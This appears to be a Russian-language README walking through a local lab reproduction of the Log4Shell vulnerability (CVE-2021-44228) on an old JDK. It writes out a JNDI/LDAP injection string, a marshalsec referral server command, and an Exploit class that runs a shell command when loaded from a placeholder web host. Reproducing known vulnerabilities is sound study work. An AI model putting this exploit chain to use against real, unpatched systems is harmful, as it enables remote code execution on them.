racoon-rac/cve-2021-44228Пошаговое руководство по воспроизведению CVE-2021-44228 (Log4Shell) с использованием JDK 8u20, уязвимой версии Log4j 2.14.1, LDAP-сервера marshalsec и компиляции пользовательской полезной нагрузки.
Думаю, эта история гораздо практичнее (плачу) christophetd/log4shell-vulnerable-app
Я просто заинтересовался и порывисто исследовал, так что возможны неточности и ошибки.
Пожалуйста, действуйте на свой страх и риск.
Предполагается, что будет работать в среде linux.
Начиная с jdk8u191 была добавлена опция com.sun.jndi.rmi.object.trustURLCodebase, и по умолчанию она установлена в False.
В таком состоянии невозможно загрузить внешний подготовленный class, поэтому в этот раз используем более раннюю версию.
(Можно ли загрузить внутренний класс или обойти это？？)
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
Прямое скачивание jdk8u20
Распакуйте и положите, например, в /opt.
Скачивание log4j
Распакуйте и извлеките log4j-api-2.14.1.jar и log4j-core-2.14.1.jar (в этот раз я положил их в директорию log4japp).
export CLASSPATH=:/path/to/log4japp/log4j-api-2.14.1.jar:/path/to/log4japp/log4j-core-2.14.1.jar
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://your-ip:1389/resource}");
// Без /resource у меня не работало.
}
}
mbechler/marshalsec
Перенаправляем ldap-запрос на веб-сервер.
mvn clean package -DskipTests
Начинаем прослушивание
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-web-ip:8888/#Exploit"
Также подготавливаем цель перенаправления для marshalsec
python3 -m http.server 8888
class Exploit {
static {
try { Runtime.getRuntime().exec("touch /tmp/evil"); } catch(Exception e) {}
}
}
Компилируем с помощью установленного jdk8u20
/opt/java/jdk1.8.0_20/bin/javac Exploit.java
Компилируем и запускаем с помощью установленного jdk8u20.
/opt/java/jdk1.8.0_20/bin/javac log4j.java
/opt/java/jdk1.8.0_20/bin/java log4j
